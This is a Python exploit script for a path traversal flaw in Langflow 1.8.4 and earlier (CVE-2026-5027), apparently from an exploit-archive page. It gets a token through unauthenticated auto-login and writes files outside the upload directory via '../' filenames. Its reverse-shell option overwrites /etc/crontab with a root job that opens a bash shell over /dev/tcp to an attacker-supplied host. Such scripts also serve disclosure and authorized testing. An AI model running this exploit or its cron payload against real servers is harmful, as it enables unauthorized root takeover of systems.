📄 Langflow 1.8.4 File Write / Traversal / Remote Code Execution

#!/usr/bin/env python3
    """
    Langflow <= 1.8.4 - Arbitrary File Write to RCE via Path Traversal (CVE-2026-5027)
    
    Description:
        The POST /api/v2/files endpoint does not sanitize the 'filename' parameter
        from the multipart form data, allowing an attacker to write files to arbitrary
        locations on the filesystem using path traversal sequences ('../').
    
        When Langflow runs with auto-login enabled (default configuration), this
        vulnerability is exploitable WITHOUT authentication. An unauthenticated
        attacker can write arbitrary files to the server, leading to Remote Code
        Execution via cron jobs, SSH authorized_keys, or webshells.
    
        The vulnerability exists in upload_user_file() which passes file.filename
        directly to LocalStorageService.save_file() without path sanitization.
    
    Affected: Langflow <= 1.8.4 (and likely all prior versions)
    Vendor: https://github.com/langflow-ai/langflow (50K+ stars)
    Advisory: https://www.tenable.com/security/research/tra-2026-26
    Impact: Unauthenticated Remote Code Execution (default config)
    CVSS: 8.8 (HIGH) - AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    CWE: CWE-22 (Path Traversal)
    
    Exploit Author: Yahia Hamza (https://yh.do)
    """
    
    import warnings
    warnings.filterwarnings("ignore")
    import requests
    import sys
    import argparse
    import time
    
    BANNER = """
     ╔═════════════════════════════════════════════════════════════╗
     ║   CVE-2026-5027 — Langflow Path Traversal to RCE            ║
     ║   Arbitrary File Write via POST /api/v2/files               ║
     ║                                                             ║
     ║   Affected: Langflow <= 1.8.4                               ║
     ║   Impact:   Unauthenticated RCE (default config)            ║
     ║   CVSS:     8.8 (HIGH)                                      ║
     ║                                                             ║
     ║   Exploit Author: Yahia Hamza (https://yh.do)               ║
     ╚═════════════════════════════════════════════════════════════╝
    """
    
    
    def get_token(target):
        """Get access token via auto-login (default config)."""
        try:
            r = requests.get(f"{target}/api/v1/auto_login", timeout=10, verify=False)
            if r.status_code == 200:
                token = r.json().get("access_token")
                if token:
                    return token, "auto-login (unauthenticated)"
        except:
            pass
        return None, None
    
    
    def login_with_creds(target, username, password):
        """Authenticate with credentials."""
        try:
            r = requests.post(f"{target}/api/v1/login", json={
                "username": username,
                "password": password,
            }, timeout=10, verify=False)
            if r.status_code == 200:
                return r.json().get("access_token"), "credentials"
        except:
            pass
        return None, None
    
    
    def write_file(target, token, remote_path, content):
        """Write arbitrary content to a path on the server via path traversal."""
        headers = {"Authorization": f"Bearer {token}"}
        traversal = "../" * 9
        filename = traversal + remote_path.lstrip("/")
    
        files = {'file': (filename, content, 'application/octet-stream')}
        r = requests.post(f"{target}/api/v2/files", headers=headers, files=files,
                          timeout=15, verify=False)
        return r.status_code in (200, 201), r
    
    
    def exploit(target, username=None, password=None, lhost=None, lport=None):
        """Full exploitation chain."""
        print(BANNER)
        target = target.rstrip('/')
    
        # Step 1: Obtain access token
        print("[*] Step 1: Obtaining access token...")
        if username and password:
            token, method = login_with_creds(target, username, password)
        else:
            token, method = get_token(target)
    
        if not token:
            print("[-] Authentication failed.")
            sys.exit(1)
        print(f"[+] Token obtained via {method}")
        print(f"    {token[:40]}...")
    
        # Step 2: Deploy payload via path traversal (single write to avoid filename dedup)
        if lhost and lport:
            print(f"\n[*] Step 2: Deploying reverse shell via path traversal...")
            cron = f"""SHELL=/bin/bash
    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    * * * * * root /bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'
    """
            ok, r = write_file(target, token, "/etc/crontab", cron.encode())
    
            if ok:
                resp = r.json()
                print(f"[+] Path traversal confirmed — file written outside storage directory")
                print(f"    Server path: {resp.get('path', '')}")
                print(f"[+] Cron job deployed to /etc/crontab")
                print(f"[+] Shell incoming on {lhost}:{lport} within 60 seconds")
            else:
                print(f"[-] Exploit failed: HTTP {r.status_code}")
                print(f"    {r.text[:200]}")
                sys.exit(1)
        else:
            print(f"\n[*] Step 2: Writing proof file via path traversal...")
            proof = f"CVE-2026-5027 | Langflow RCE | {time.strftime('%Y-%m-%d %H:%M:%S')}".encode()
            ok, r = write_file(target, token, "/tmp/CVE-2026-5027-proof.txt", proof)
    
            if ok:
                resp = r.json()
                print(f"[+] Path traversal confirmed — file written outside storage directory")
                print(f"    Server path: {resp.get('path', '')}")
                print(f"[+] Proof written to /tmp/CVE-2026-5027-proof.txt")
            else:
                print(f"[-] Exploit failed: HTTP {r.status_code}")
                sys.exit(1)
    
        # Summary
        print(f"\n{'='*65}")
        print(f" EXPLOIT COMPLETE")
        print(f"{'='*65}")
        print(f" Target:     {target}")
        print(f" CVE:        CVE-2026-5027")
        print(f" Auth:       {method}")
        print(f" Impact:     Arbitrary File Write → RCE as root")
        if lhost and lport:
            print(f" Shell:      {lhost}:{lport}")
        print(f"{'='*65}")
    
    
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-5027 — Langflow Path Traversal to RCE",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""Examples:
      %(prog)s -t http://target:7860
      %(prog)s -t http://target:7860 -u admin -p password
      %(prog)s -t http://target:7860 --lhost 10.0.0.1 --lport 4444
    """,
        )
        parser.add_argument("-t", "--target", required=True, help="Langflow URL")
        parser.add_argument("-u", "--username", help="Username (optional if auto-login enabled)")
        parser.add_argument("-p", "--password", help="Password")
        parser.add_argument("--lhost", help="Listener IP for reverse shell")
        parser.add_argument("--lport", type=int, help="Listener port for reverse shell")
        args = parser.parse_args()
    
        exploit(args.target, args.username, args.password, args.lhost, args.lport)
    
    
    if __name__ == "__main__":
        main()